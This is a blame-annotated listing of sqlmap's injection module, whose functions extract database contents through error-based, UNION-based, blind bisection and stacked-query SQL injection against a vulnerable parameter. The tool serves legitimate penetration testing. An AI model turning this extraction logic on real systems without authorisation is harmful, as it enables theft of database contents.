2008-10-15 19:38:22 +04:00
|
|
|
#!/usr/bin/env python
|
|
|
|
|
|
|
|
"""
|
2008-10-15 19:56:32 +04:00
|
|
|
$Id$
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2010-10-14 18:41:14 +04:00
|
|
|
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
2010-10-15 03:18:29 +04:00
|
|
|
See the file 'doc/COPYING' for copying permission
|
2008-10-15 19:38:22 +04:00
|
|
|
"""
|
|
|
|
|
|
|
|
import re
|
|
|
|
import time
|
|
|
|
|
|
|
|
from lib.core.agent import agent
|
2010-05-13 15:05:35 +04:00
|
|
|
from lib.core.common import calculateDeltaSeconds
|
2008-10-15 19:38:22 +04:00
|
|
|
from lib.core.common import cleanQuery
|
|
|
|
from lib.core.common import dataToSessionFile
|
2010-10-19 19:28:54 +04:00
|
|
|
from lib.core.common import dataToStdout
|
2008-10-15 19:38:22 +04:00
|
|
|
from lib.core.common import expandAsteriskForColumns
|
2008-12-10 20:23:07 +03:00
|
|
|
from lib.core.common import parseUnionPage
|
2010-10-11 17:52:32 +04:00
|
|
|
from lib.core.common import popValue
|
|
|
|
from lib.core.common import pushValue
|
2010-10-20 12:56:58 +04:00
|
|
|
from lib.core.common import randomInt
|
2008-10-15 19:38:22 +04:00
|
|
|
from lib.core.common import readInput
|
2010-10-19 16:02:04 +04:00
|
|
|
from lib.core.common import safeStringFormat
|
|
|
|
from lib.core.convert import urlencode
|
2008-10-15 19:38:22 +04:00
|
|
|
from lib.core.data import conf
|
|
|
|
from lib.core.data import kb
|
|
|
|
from lib.core.data import logger
|
|
|
|
from lib.core.data import queries
|
2010-10-19 16:02:04 +04:00
|
|
|
from lib.core.unescaper import unescaper
|
2008-11-12 03:36:50 +03:00
|
|
|
from lib.request.connect import Connect as Request
|
2010-03-31 14:50:47 +04:00
|
|
|
from lib.request.direct import direct
|
2008-10-15 19:38:22 +04:00
|
|
|
from lib.techniques.inband.union.use import unionUse
|
2008-11-13 02:44:09 +03:00
|
|
|
from lib.techniques.blind.inference import bisection
|
2010-10-20 13:09:04 +04:00
|
|
|
from lib.techniques.error.use import errorUse
|
2008-10-15 19:38:22 +04:00
|
|
|
from lib.utils.resume import queryOutputLength
|
|
|
|
from lib.utils.resume import resume
|
|
|
|
|
2009-09-26 03:03:45 +04:00
|
|
|
def __goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None):
|
2008-11-12 03:36:50 +03:00
|
|
|
start = time.time()
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
if ( conf.eta or conf.threads > 1 ) and kb.dbms:
|
|
|
|
_, length, _ = queryOutputLength(expression, payload)
|
|
|
|
else:
|
|
|
|
length = None
|
|
|
|
|
2008-10-16 19:39:25 +04:00
|
|
|
dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression))
|
|
|
|
|
2009-09-26 03:03:45 +04:00
|
|
|
count, value = bisection(payload, expression, length, charsetType, firstChar, lastChar)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2010-05-13 15:05:35 +04:00
|
|
|
debugMsg = "performed %d queries in %d seconds" % (count, calculateDeltaSeconds(start))
|
2009-04-22 15:48:07 +04:00
|
|
|
logger.debug(debugMsg)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
return value
|
|
|
|
|
2009-09-26 03:03:45 +04:00
|
|
|
def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None, num=None, resumeValue=True, charsetType=None, firstChar=None, lastChar=None):
|
2008-12-22 22:36:01 +03:00
|
|
|
outputs = []
|
|
|
|
origExpr = None
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
for field in expressionFieldsList:
|
|
|
|
output = None
|
|
|
|
|
2008-12-24 02:34:50 +03:00
|
|
|
if field.startswith("ROWNUM "):
|
|
|
|
continue
|
|
|
|
|
2008-12-22 22:36:01 +03:00
|
|
|
if isinstance(num, int):
|
2009-01-03 02:26:45 +03:00
|
|
|
origExpr = expression
|
2008-12-22 22:36:01 +03:00
|
|
|
expression = agent.limitQuery(num, expression, field)
|
|
|
|
|
2008-12-24 02:34:50 +03:00
|
|
|
if "ROWNUM" in expressionFieldsList:
|
|
|
|
expressionReplaced = expression
|
2009-01-23 01:28:27 +03:00
|
|
|
else:
|
|
|
|
expressionReplaced = expression.replace(expressionFields, field, 1)
|
2008-12-24 02:34:50 +03:00
|
|
|
|
2010-01-02 05:02:12 +03:00
|
|
|
if resumeValue:
|
2009-04-22 15:48:07 +04:00
|
|
|
output = resume(expressionReplaced, payload)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2008-11-02 22:21:19 +03:00
|
|
|
if not output or ( expected == "int" and not output.isdigit() ):
|
|
|
|
if output:
|
|
|
|
warnMsg = "expected value type %s, resumed '%s', " % (expected, output)
|
|
|
|
warnMsg += "sqlmap is going to retrieve the value again"
|
|
|
|
logger.warn(warnMsg)
|
|
|
|
|
2009-09-26 03:03:45 +04:00
|
|
|
output = __goInference(payload, expressionReplaced, charsetType, firstChar, lastChar)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2008-12-22 22:36:01 +03:00
|
|
|
if isinstance(num, int):
|
|
|
|
expression = origExpr
|
|
|
|
|
2008-10-15 19:38:22 +04:00
|
|
|
outputs.append(output)
|
|
|
|
|
|
|
|
return outputs
|
|
|
|
|
2009-09-26 03:03:45 +04:00
|
|
|
def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, resumeValue=True, unpack=True, charsetType=None, firstChar=None, lastChar=None):
|
2008-10-15 19:38:22 +04:00
|
|
|
"""
|
|
|
|
Retrieve the output of a SQL query characted by character taking
|
|
|
|
advantage of an blind SQL injection vulnerability on the affected
|
|
|
|
parameter through a bisection algorithm.
|
|
|
|
"""
|
2010-10-21 17:13:12 +04:00
|
|
|
query = agent.prefixQuery(" %s" % queries[kb.misc.testedDbms].inference.query)
|
2008-10-15 19:38:22 +04:00
|
|
|
query = agent.postfixQuery(query)
|
|
|
|
payload = agent.payload(newValue=query)
|
|
|
|
count = None
|
|
|
|
startLimit = 0
|
|
|
|
stopLimit = None
|
|
|
|
outputs = []
|
|
|
|
test = None
|
|
|
|
untilLimitChar = None
|
|
|
|
untilOrderChar = None
|
|
|
|
|
2010-01-02 05:02:12 +03:00
|
|
|
if resumeValue:
|
2009-04-22 15:48:07 +04:00
|
|
|
output = resume(expression, payload)
|
|
|
|
else:
|
|
|
|
output = None
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2010-01-02 05:02:12 +03:00
|
|
|
if output and ( expected is None or ( expected == "int" and output.isdigit() ) ):
|
2008-10-15 19:38:22 +04:00
|
|
|
return output
|
|
|
|
|
2010-01-02 05:02:12 +03:00
|
|
|
if not unpack:
|
2009-09-26 03:03:45 +04:00
|
|
|
return __goInference(payload, expression, charsetType, firstChar, lastChar)
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2008-10-15 19:38:22 +04:00
|
|
|
if kb.dbmsDetected:
|
2009-04-22 15:48:07 +04:00
|
|
|
_, _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(expression)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2010-03-18 20:20:54 +03:00
|
|
|
rdbRegExp = re.search("RDB\$GET_CONTEXT\([^)]+\)", expression, re.I)
|
|
|
|
if rdbRegExp and kb.dbms == "Firebird":
|
|
|
|
expressionFieldsList = [expressionFields]
|
|
|
|
|
2008-10-15 19:38:22 +04:00
|
|
|
if len(expressionFieldsList) > 1:
|
|
|
|
infoMsg = "the SQL query provided has more than a field. "
|
|
|
|
infoMsg += "sqlmap will now unpack it into distinct queries "
|
|
|
|
infoMsg += "to be able to retrieve the output even if we "
|
|
|
|
infoMsg += "are going blind"
|
|
|
|
logger.info(infoMsg)
|
|
|
|
|
|
|
|
# If we have been here from SQL query/shell we have to check if
|
|
|
|
# the SQL query might return multiple entries and in such case
|
|
|
|
# forge the SQL limiting the query output one entry per time
|
|
|
|
# NOTE: I assume that only queries that get data from a table
|
|
|
|
# can return multiple entries
|
|
|
|
if fromUser and " FROM " in expression:
|
2010-10-21 17:13:12 +04:00
|
|
|
limitRegExp = re.search(queries[kb.dbms].limitregexp.query, expression, re.I)
|
2009-02-03 02:44:19 +03:00
|
|
|
topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-02-03 02:44:19 +03:00
|
|
|
if limitRegExp or ( kb.dbms == "Microsoft SQL Server" and topLimit ):
|
2008-10-15 19:38:22 +04:00
|
|
|
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
2010-10-21 17:13:12 +04:00
|
|
|
limitGroupStart = queries[kb.dbms].limitgroupstart.query
|
|
|
|
limitGroupStop = queries[kb.dbms].limitgroupstop.query
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
if limitGroupStart.isdigit():
|
|
|
|
startLimit = int(limitRegExp.group(int(limitGroupStart)))
|
|
|
|
|
|
|
|
stopLimit = limitRegExp.group(int(limitGroupStop))
|
|
|
|
limitCond = int(stopLimit) > 1
|
|
|
|
|
2009-01-03 02:26:45 +03:00
|
|
|
elif kb.dbms == "Microsoft SQL Server":
|
2009-02-03 02:44:19 +03:00
|
|
|
if limitRegExp:
|
2010-10-21 17:13:12 +04:00
|
|
|
limitGroupStart = queries[kb.dbms].limitgroupstart.query
|
|
|
|
limitGroupStop = queries[kb.dbms].limitgroupstop.query
|
2009-02-03 02:44:19 +03:00
|
|
|
|
|
|
|
if limitGroupStart.isdigit():
|
|
|
|
startLimit = int(limitRegExp.group(int(limitGroupStart)))
|
|
|
|
|
|
|
|
stopLimit = limitRegExp.group(int(limitGroupStop))
|
|
|
|
limitCond = int(stopLimit) > 1
|
|
|
|
elif topLimit:
|
|
|
|
startLimit = 0
|
|
|
|
stopLimit = int(topLimit.group(1))
|
|
|
|
limitCond = int(stopLimit) > 1
|
2009-01-03 02:26:45 +03:00
|
|
|
|
|
|
|
elif kb.dbms == "Oracle":
|
2008-10-15 19:38:22 +04:00
|
|
|
limitCond = False
|
|
|
|
else:
|
|
|
|
limitCond = True
|
|
|
|
|
|
|
|
# I assume that only queries NOT containing a "LIMIT #, 1"
|
|
|
|
# (or similar depending on the back-end DBMS) can return
|
|
|
|
# multiple entries
|
|
|
|
if limitCond:
|
|
|
|
if limitRegExp:
|
|
|
|
stopLimit = int(stopLimit)
|
|
|
|
|
|
|
|
# From now on we need only the expression until the " LIMIT "
|
|
|
|
# (or similar, depending on the back-end DBMS) word
|
|
|
|
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
|
|
|
stopLimit += startLimit
|
2010-10-21 17:13:12 +04:00
|
|
|
untilLimitChar = expression.index(queries[kb.dbms].limitstring.query)
|
2008-10-15 19:38:22 +04:00
|
|
|
expression = expression[:untilLimitChar]
|
|
|
|
|
2009-01-03 02:26:45 +03:00
|
|
|
elif kb.dbms == "Microsoft SQL Server":
|
|
|
|
stopLimit += startLimit
|
|
|
|
|
2008-10-15 19:38:22 +04:00
|
|
|
if not stopLimit or stopLimit <= 1:
|
|
|
|
if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
|
|
|
|
test = "n"
|
2010-01-02 05:02:12 +03:00
|
|
|
elif batch:
|
2009-04-22 15:48:07 +04:00
|
|
|
test = "y"
|
2008-10-15 19:38:22 +04:00
|
|
|
else:
|
2008-12-10 20:23:07 +03:00
|
|
|
message = "can the SQL query provided return "
|
|
|
|
message += "multiple entries? [Y/n] "
|
2008-10-15 19:38:22 +04:00
|
|
|
test = readInput(message, default="Y")
|
|
|
|
|
|
|
|
if not test or test[0] in ("y", "Y"):
|
|
|
|
# Count the number of SQL query entries output
|
2010-10-21 17:13:12 +04:00
|
|
|
countFirstField = queries[kb.dbms].count.query % expressionFieldsList[0]
|
2008-10-15 19:38:22 +04:00
|
|
|
countedExpression = expression.replace(expressionFields, countFirstField, 1)
|
|
|
|
|
|
|
|
if re.search(" ORDER BY ", expression, re.I):
|
|
|
|
untilOrderChar = countedExpression.index(" ORDER BY ")
|
|
|
|
countedExpression = countedExpression[:untilOrderChar]
|
|
|
|
|
2010-01-02 05:02:12 +03:00
|
|
|
if resumeValue:
|
2009-04-22 15:48:07 +04:00
|
|
|
count = resume(countedExpression, payload)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
if not stopLimit:
|
2008-11-02 22:21:19 +03:00
|
|
|
if not count or not count.isdigit():
|
2009-09-26 03:03:45 +04:00
|
|
|
count = __goInference(payload, countedExpression, charsetType, firstChar, lastChar)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2008-12-10 20:23:07 +03:00
|
|
|
if count and count.isdigit() and int(count) > 0:
|
2008-10-15 19:38:22 +04:00
|
|
|
count = int(count)
|
|
|
|
|
2010-01-02 05:02:12 +03:00
|
|
|
if batch:
|
2008-10-15 19:38:22 +04:00
|
|
|
stopLimit = count
|
2009-04-22 15:48:07 +04:00
|
|
|
else:
|
|
|
|
message = "the SQL query provided can return "
|
|
|
|
message += "up to %d entries. How many " % count
|
|
|
|
message += "entries do you want to retrieve?\n"
|
|
|
|
message += "[a] All (default)\n[#] Specific number\n"
|
|
|
|
message += "[q] Quit"
|
|
|
|
test = readInput(message, default="a")
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
if not test or test[0] in ("a", "A"):
|
|
|
|
stopLimit = count
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
elif test[0] in ("q", "Q"):
|
|
|
|
return "Quit"
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
elif test.isdigit() and int(test) > 0 and int(test) <= count:
|
|
|
|
stopLimit = int(test)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
infoMsg = "sqlmap is now going to retrieve the "
|
|
|
|
infoMsg += "first %d query output entries" % stopLimit
|
|
|
|
logger.info(infoMsg)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
elif test[0] in ("#", "s", "S"):
|
|
|
|
message = "How many? "
|
|
|
|
stopLimit = readInput(message, default="10")
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
if not stopLimit.isdigit():
|
|
|
|
errMsg = "Invalid choice"
|
|
|
|
logger.error(errMsg)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
return None
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
else:
|
|
|
|
stopLimit = int(stopLimit)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
else:
|
|
|
|
errMsg = "Invalid choice"
|
|
|
|
logger.error(errMsg)
|
|
|
|
|
|
|
|
return None
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2008-12-17 23:11:18 +03:00
|
|
|
elif count and not count.isdigit():
|
|
|
|
warnMsg = "it was not possible to count the number "
|
|
|
|
warnMsg += "of entries for the SQL query provided. "
|
|
|
|
warnMsg += "sqlmap will assume that it returns only "
|
|
|
|
warnMsg += "one entry"
|
|
|
|
logger.warn(warnMsg)
|
|
|
|
|
|
|
|
stopLimit = 1
|
|
|
|
|
2008-10-15 19:38:22 +04:00
|
|
|
elif ( not count or int(count) == 0 ):
|
2008-12-10 20:23:07 +03:00
|
|
|
warnMsg = "the SQL query provided does not "
|
|
|
|
warnMsg += "return any output"
|
2008-10-15 19:38:22 +04:00
|
|
|
logger.warn(warnMsg)
|
|
|
|
|
|
|
|
return None
|
|
|
|
|
|
|
|
elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ):
|
2008-12-10 20:23:07 +03:00
|
|
|
warnMsg = "the SQL query provided does not "
|
|
|
|
warnMsg += "return any output"
|
2008-10-15 19:38:22 +04:00
|
|
|
logger.warn(warnMsg)
|
|
|
|
|
|
|
|
return None
|
|
|
|
|
|
|
|
for num in xrange(startLimit, stopLimit):
|
2009-09-26 03:03:45 +04:00
|
|
|
output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, num, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar)
|
2008-10-15 19:38:22 +04:00
|
|
|
outputs.append(output)
|
|
|
|
|
|
|
|
return outputs
|
|
|
|
|
|
|
|
elif kb.dbms == "Oracle" and expression.startswith("SELECT ") and " FROM " not in expression:
|
|
|
|
expression = "%s FROM DUAL" % expression
|
|
|
|
|
2009-09-26 03:03:45 +04:00
|
|
|
outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
returnValue = ", ".join([output for output in outputs])
|
2008-12-10 20:23:07 +03:00
|
|
|
|
2008-10-15 19:38:22 +04:00
|
|
|
else:
|
2009-09-26 03:03:45 +04:00
|
|
|
returnValue = __goInference(payload, expression, charsetType, firstChar, lastChar)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
return returnValue
|
|
|
|
|
2010-04-30 19:48:40 +04:00
|
|
|
def __goInband(expression, expected=None, sort=True, resumeValue=True, unpack=True, dump=False):
|
2008-10-15 19:38:22 +04:00
|
|
|
"""
|
|
|
|
Retrieve the output of a SQL query taking advantage of an inband SQL
|
|
|
|
injection vulnerability on the affected parameter.
|
|
|
|
"""
|
|
|
|
|
|
|
|
output = None
|
|
|
|
partial = False
|
|
|
|
data = []
|
|
|
|
|
|
|
|
condition = (
|
|
|
|
kb.resumedQueries and conf.url in kb.resumedQueries.keys()
|
|
|
|
and expression in kb.resumedQueries[conf.url].keys()
|
|
|
|
)
|
|
|
|
|
2010-01-02 05:02:12 +03:00
|
|
|
if condition and resumeValue:
|
2008-10-15 19:38:22 +04:00
|
|
|
output = resume(expression, None)
|
|
|
|
|
2008-11-02 22:21:19 +03:00
|
|
|
if not output or ( expected == "int" and not output.isdigit() ):
|
2008-10-15 19:38:22 +04:00
|
|
|
partial = True
|
|
|
|
|
|
|
|
if not output:
|
2010-04-30 19:48:40 +04:00
|
|
|
output = unionUse(expression, resetCounter=True, unpack=unpack, dump=dump)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
if output:
|
2009-04-22 15:48:07 +04:00
|
|
|
data = parseUnionPage(output, expression, partial, condition, sort)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
return data
|
|
|
|
|
2010-10-19 22:34:57 +04:00
|
|
|
def getValue(expression, blind=True, inband=True, error=True, fromUser=False, expected=None, batch=False, unpack=True, sort=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=False):
|
2008-10-15 19:38:22 +04:00
|
|
|
"""
|
|
|
|
Called each time sqlmap inject a SQL query on the SQL injection
|
|
|
|
affected parameter. It can call a function to retrieve the output
|
|
|
|
through inband SQL injection (if selected) and/or blind SQL injection
|
|
|
|
(if selected).
|
|
|
|
"""
|
|
|
|
|
2010-10-11 17:52:32 +04:00
|
|
|
if suppressOutput:
|
|
|
|
pushValue(conf.verbose)
|
|
|
|
conf.verbose = 0
|
2010-10-19 16:02:04 +04:00
|
|
|
|
2010-03-27 02:23:25 +03:00
|
|
|
if conf.direct:
|
2010-10-11 17:52:32 +04:00
|
|
|
value = direct(expression)
|
|
|
|
else:
|
|
|
|
expression = cleanQuery(expression)
|
|
|
|
expression = expandAsteriskForColumns(expression)
|
|
|
|
value = None
|
2010-03-27 02:23:25 +03:00
|
|
|
|
2010-10-11 17:52:32 +04:00
|
|
|
expression = expression.replace("DISTINCT ", "")
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2010-10-19 22:34:57 +04:00
|
|
|
if error and conf.errorTest:
|
2010-10-20 13:09:04 +04:00
|
|
|
value = errorUse(expression)
|
2010-10-19 16:02:04 +04:00
|
|
|
|
|
|
|
if not value:
|
|
|
|
warnMsg = "for some reasons it was not possible to retrieve "
|
|
|
|
warnMsg += "the query output through error SQL injection "
|
|
|
|
warnMsg += "technique, sqlmap is going %s" % ("inband" if inband and kb.unionPosition else "blind")
|
|
|
|
logger.warn(warnMsg)
|
|
|
|
|
|
|
|
if inband and kb.unionPosition and not value:
|
2010-10-11 17:52:32 +04:00
|
|
|
value = __goInband(expression, expected, sort, resumeValue, unpack, dump)
|
2010-01-05 19:15:31 +03:00
|
|
|
|
2010-10-11 17:52:32 +04:00
|
|
|
if not value:
|
|
|
|
warnMsg = "for some reasons it was not possible to retrieve "
|
|
|
|
warnMsg += "the query output through inband SQL injection "
|
|
|
|
warnMsg += "technique, sqlmap is going blind"
|
|
|
|
logger.warn(warnMsg)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2010-10-11 17:52:32 +04:00
|
|
|
oldParamFalseCond = kb.unionFalseCond
|
|
|
|
oldParamNegative = kb.unionNegative
|
|
|
|
kb.unionFalseCond = False
|
|
|
|
kb.unionNegative = False
|
2008-12-10 20:23:07 +03:00
|
|
|
|
2010-10-11 17:52:32 +04:00
|
|
|
if blind and not value:
|
|
|
|
value = __goInferenceProxy(expression, fromUser, expected, batch, resumeValue, unpack, charsetType, firstChar, lastChar)
|
2008-12-10 20:23:07 +03:00
|
|
|
|
2010-10-11 17:52:32 +04:00
|
|
|
kb.unionFalseCond = oldParamFalseCond
|
|
|
|
kb.unionNegative = oldParamNegative
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2010-10-11 17:52:32 +04:00
|
|
|
if value and isinstance(value, basestring):
|
|
|
|
value = value.strip()
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2010-10-11 17:52:32 +04:00
|
|
|
if suppressOutput:
|
|
|
|
conf.verbose = popValue()
|
2010-03-18 20:36:58 +03:00
|
|
|
|
2008-10-15 19:38:22 +04:00
|
|
|
return value
|
2008-11-12 03:36:50 +03:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
def goStacked(expression, silent=False):
|
2008-12-19 23:09:46 +03:00
|
|
|
expression = cleanQuery(expression)
|
|
|
|
|
2010-03-27 02:23:25 +03:00
|
|
|
if conf.direct:
|
2010-03-31 14:50:47 +04:00
|
|
|
return direct(expression), None
|
2010-03-27 02:23:25 +03:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
debugMsg = "query: %s" % expression
|
|
|
|
logger.debug(debugMsg)
|
|
|
|
|
2010-10-21 17:13:12 +04:00
|
|
|
comment = queries[kb.dbms].comment.query
|
2008-12-17 00:30:24 +03:00
|
|
|
query = agent.prefixQuery("; %s" % expression)
|
|
|
|
query = agent.postfixQuery("%s;%s" % (query, comment))
|
|
|
|
payload = agent.payload(newValue=query)
|
2009-04-22 15:48:07 +04:00
|
|
|
page, _ = Request.queryPage(payload, content=True, silent=silent)
|
2008-11-12 03:36:50 +03:00
|
|
|
|
2008-12-17 00:30:24 +03:00
|
|
|
return payload, page
|
2010-10-19 22:17:34 +04:00
|
|
|
|
|
|
|
def goError(expression):
|
|
|
|
#expression = cleanQuery(expression)
|
|
|
|
|
|
|
|
if conf.direct:
|
|
|
|
return direct(expression), None
|
|
|
|
|
2010-10-20 13:09:04 +04:00
|
|
|
result = errorUse(expression)
|
2010-10-19 22:17:34 +04:00
|
|
|
|
|
|
|
return result
|